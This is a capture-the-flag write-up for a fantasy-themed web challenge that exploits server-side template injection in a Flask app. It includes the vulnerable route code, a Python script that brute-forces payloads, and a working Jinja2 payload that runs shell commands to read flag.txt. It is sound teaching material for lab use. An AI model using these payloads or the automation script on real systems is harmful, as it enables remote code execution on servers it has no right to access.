π₯ Trial by Fire π
π Tales from Eldoria
π‘οΈ Synopsis
In this medieval fantasy-themed web challenge, we face off against a mighty Fire Drake π² in an ancient battlefield. Armed with our wits and a mysterious “Ancient Capture Device” ποΈ, we must exploit a Server-Side Template Injection (SSTI) vulnerability to overcome the dragon’s fiery defenses and claim the hidden flag. π΄ββ οΈ
π Description
The Trial by Fire challenge transports us to a realm of scorching mountains β°οΈ and rivers of lava π, where a fearsome Fire Drake guards the legendary Emberstone artifact π. Direct combat proves futile against this formidable foe, but whispers of “ancient template scrolls” π hint at an alternate path to victory. By carefully examining the game’s code and mechanics, we uncover clues pointing to an SSTI vulnerabilityβour key to besting the dragon and completing our quest.
π‘οΈ Skills Required
- π Familiarity with web application fundamentals and HTTP requests
- π Ability to inspect and analyze HTML, JavaScript, and Python code
- π Understanding of Server-Side Template Injection (SSTI) concepts
- πΉ Experience crafting payloads to exploit template engine vulnerabilities
- π Attention to detail for catching subtle hints and hidden elements
π Skills Learned
Through this challenge, aspiring warriors sharpen their skills in:
- π― Identifying potential injection points in web applications
- π Recognizing SSTI vulnerabilities based on context clues and template syntax
- π₯ Crafting targeted payloads to exploit template engines like Jinja2
- π€ Automating exploit attempts using Python and popular libraries
- π‘ Thinking creatively to uncover non-obvious attack vectors
- πͺ Persevering through initial failures to ultimate triumph
βοΈ Solving The Challenge
π Enumeration

Our trial begins on a web page introducing the Flame Peaks region and its fearsome guardian. Among flowery prose, a few lines stand out:
Legends speak of ancient template scrollsβarcane writings that twist fate when exploited. Hidden symbols may change everything. Can you read the runes? Perhaps 49 is the key.
This early clue hints at the SSTI vector we’ll use later, the famous {{7*7}}
. Inputting a name and proceeding to battle, we find ourselves vastly outmatched by the Fire Drake’s 1337 hit points. π±

However, removing the hidden tag from the button leet reveals a hidden “Ancient Capture Device” button! ποΈ This is found using JavaScript code on the battle page:

import { DragonGame } from '/static/js/game.js';
import { addVisualEffects } from '/static/js/effects.js';
const game = new DragonGame();
game.init();
addVisualEffects(game);
// Konami code sequence to reveal the leet (Ancient Capture Device) button
// const konamiCode = ['ArrowUp', 'ArrowUp', 'ArrowDown', 'ArrowDown', 'ArrowLeft', 'ArrowRight', 'ArrowLeft', 'ArrowRight', 'b', 'a'];
const konamiCode = ['ArrowUp'];
let konamiIndex = 0;
document.addEventListener('keydown', (e) => {
if (e.key === konamiCode[konamiIndex]) {
konamiIndex++;
if (konamiIndex === konamiCode.length) {
document.querySelector('.leet').classList.remove('hidden');
konamiIndex = 0;
}
} else {
konamiIndex = 0;
}
});

Examining the text further, we see this mysterious device triggers several clues when used: π΅οΈββοΈ
No ordinary device can capture an elder!
A glowing rune appears: ‘{{ url_for.globals }}’ unlocks the ancient secrets!
Ancient whispers: ‘Only Template Scrolls bend fate!’
The Ancient Capture Device pulses, but the Fire Drake remains free.
Let’s jump to the source code provided by the challenge for a second. Maybe we can see more of the use of this device. Searching for “capture an elder,” we can find that game.js
is the file handling that logic. With this part of the code, we get even more hints about an SSTI. Now it’s time to find where.
case 'leet': // Ancient Capture Device (leet button)
message = `You brandish the Ancient Capture Device with defiant resolve!`;
this.addToLog(message);
// Play special sound effects
this.sounds.lightning.play().catch(console.error);
setTimeout(() => this.sounds.fireball.play().catch(console.error), 200);
// Trigger capture animation (does not deal damage or change turn)
this.createCaptureAnimation();
// Sequential fixed log messages (three entries)
setTimeout(() => {
this.addToLog("No ordinary device can capture an elder!");
}, 1000);
setTimeout(() => {
this.addToLog("A glowing rune appears: '{{ 49 | ashes }}' unlocks the ancient secret!");
}, 2000);
setTimeout(() => {
this.addToLog("Ancient whispers: 'Only Template Scrolls bend fate!'");
}, 3000);
return; // Exit earlyβdo not update damage or advance turn.
case 'rickroll':
this.addToLog("You start humming an ancient melody...");
setTimeout(() => {
this.addToLog("The Fire Drake tilts its head, intrigued by your tune.");
}, 1000);
this.addToLog("βͺ Never gonna give you up... βͺ");
window.open('https://www.youtube.com/watch?v=dQw4w9WgXcQ', '_blank');
return;
π― Attack
Further inspection of the source code, more specifically the routes.py
file, reveals a /battle-report
endpoint that reflects our warrior name in the response. That’s all we need for the SSTI! The trick is that the warrior_name
variable is set using the session. So to trigger the /battle-report
, we need to get the cookie from /begin
. π
@web.route('/battle-report', methods=['POST'])
def battle_report():
warrior_name = session.get("warrior_name", "Unknown Warrior")
battle_duration = request.form.get('battle_duration', "0")
stats = {
'damage_dealt': request.form.get('damage_dealt', "0"),
'damage_taken': request.form.get('damage_taken', "0"),
'spells_cast': request.form.get('spells_cast', "0"),
'turns_survived': request.form.get('turns_survived', "0"),
'outcome': request.form.get('outcome', 'defeat')
}
REPORT_TEMPLATE = f"""
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Battle Report - The Flame Peaks</title>
<link rel="icon" type="image/png" href="/static/images/favicon.png" />
<link href="https://unpkg.com/nes.css@latest/css/nes.min.css" rel="stylesheet" />
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="nes-container with-title is-dark battle-report">
<p class="title">Battle Report</p>
<div class="warrior-info">
<i class="nes-icon is-large heart"></i>
<p class="nes-text is-primary warrior-name">{warrior_name}</p>
</div>
<div class="report-stats">
<div class="nes-container is-dark with-title stat-group">
<p class="title">Battle Statistics</p>
<p>π‘οΈ Damage Dealt: <span class="nes-text is-success">{stats['damage_dealt']}</span></p>
<p>π Damage Taken: <span class="nes-text is-error">{stats['damage_taken']}</span></p>
<p>β¨ Spells Cast: <span class="nes-text is-warning">{stats['spells_cast']}</span></p>
<p>β±οΈ Turns Survived: <span class="nes-text is-primary">{stats['turns_survived']}</span></p>
<p>βοΈ Battle Duration: <span class="nes-text is-secondary">{float(battle_duration):.1f} seconds</span></p>
</div>
<div class="nes-container is-dark battle-outcome {stats['outcome']}">
<h2 class="nes-text is-primary">
{"π Glorious Victory!" if stats['outcome'] == "victory" else "π Valiant Defeat"}
</h2>
<p class="nes-text">{random.choice(DRAGON_TAUNTS)}</p>
</div>
</div>
<div class="report-actions nes-container is-dark">
<a href="/flamedrake" class="nes-btn is-primary">βοΈ Challenge Again</a>
<a href="/" class="nes-btn is-error">π° Return to Entrance</a>
</div>
</div>
</body>
</html>
"""
return render_template_string(REPORT_TEMPLATE)
Let’s try submitting our name as an SSTI payload and check our theory. First, we set our name to be {{7*7}}
. If the SSTI exists, instead of this, we will see 49
.

We need to access /battle-report
because /flamedrake
does not trigger the payload; our name appears as {{7*7}}
instead of 49
.

Time to craft our request to /battle-report
. I’m going to use Postman, but BurpSuite would do the trick as well. We only need the session cookie. Let’s emulate the request by first clicking on the “Challenge The Fire Drake” button with the network tab open. We see a POST request to /begin
that sends our warrior_name
.

In Postman, by crafting the exact same request, we can see that the response header sets the session cookie, which we need!

With the session, we can craft the second request to /battle-report
:

Bingo! By submitting our SSTI payload as the warrior name, we can smuggle it into this template and achieve remote code execution. π₯
To automate the attack, I wrote a script to fire template payloads at the server: π€
import requests
from bs4 import BeautifulSoup
url = 'http://CHANGE-THIS'
endpoint_1 = f'{url}/begin'
endpoint_2 = f'{url}/battle-report'
ssti_payload = 'payloads.txt'
def process_usernames(file_path):
with open(file_path, 'r') as file:
count = 1
for payload in file:
payload = payload.strip()
if payload:
payload_1 = {'warrior_name': payload}
response_1 = requests.post(endpoint_1, data=payload_1)
if response_1.status_code == 200:
cookie = response_1.cookies.get_dict()
headers = {'Cookie': f"session={cookie['session']}"}
response_2 = requests.post(endpoint_2, headers=headers)
if response_2.status_code == 200:
soup = BeautifulSoup(response_2.text, 'html.parser')
warrior_name = soup.find('p', class_='nes-text is-primary warrior-name')
if warrior_name:
print(f'{count} -- {payload} -- {warrior_name.text.strip()}')
count += 1
process_usernames(ssti_payload)
This code is very simple. We set the URL and the payloads file, which you can change if you want! Then we make the two requests we just emulated with Postman: the first one to get the cookie and the second to trigger the payload. The script is only to help bruteforce possible payloads to see what sticks! But if you have a keen eye, using the source code could also show you the exploit.
The key steps:
- Set the warrior name to an SSTI payload π
- Extract the session cookie πͺ
- Submit a battle report request with that cookie π
- Check for successful command injection β
π₯ Exploitation
After testing numerous payloads, this one grants us remote code execution: π
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
It abuses the config
object in Flask’s global namespace to access Python’s os
module and run shell commands. Issuing ls
reveals a tantalizing flag.txt
file: π©
application
flag.txt
requirements.txt
uwsgi.ini
venv
wsgi.py
We could get the same result by looking at the source code for the line from flask import
to know that Flask is the target.
We update the payload to cat
out our prize: π
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
And voila! The flag is ours. You can send this payload with the script or with Postman: π

Through keen observation, persistence, and mastery of ancient template injection techniques, we conquer the Trial by Fire and emerge victorious! π₯ The mighty Fire Drake’s riddles are solved, its defenses breached, and the secrets of the Flame Peaks laid bare. π‘οΈ
π Triumph in the Flame Peaks
Congratulations, valiant hero! π Your ingenuity and coding prowess have led you to victory against the fearsome Fire Drake. π The secrets of the ancient template scrolls have been unlocked, and the legendary Emberstone is yours at last! π
As the dragon’s flames flicker and fade, you stand tall amidst the scorched ruins, a testament to your unwavering determination. πͺ Tales of your triumph will echo through the ages, inspiring future generations of warriors and coders alike. π
But rest not on your laurels, brave one, for there are more challenges ahead! π The realm of Eldoria holds countless mysteries waiting to be unraveled. πΊοΈ So sharpen your skills, refine your code, and prepare for the next epic quest! βοΈ
πΊοΈ Ready for More Adventures?
Want to explore more Cyber Apocalypse 2025 writeups? Check out my other solutions here!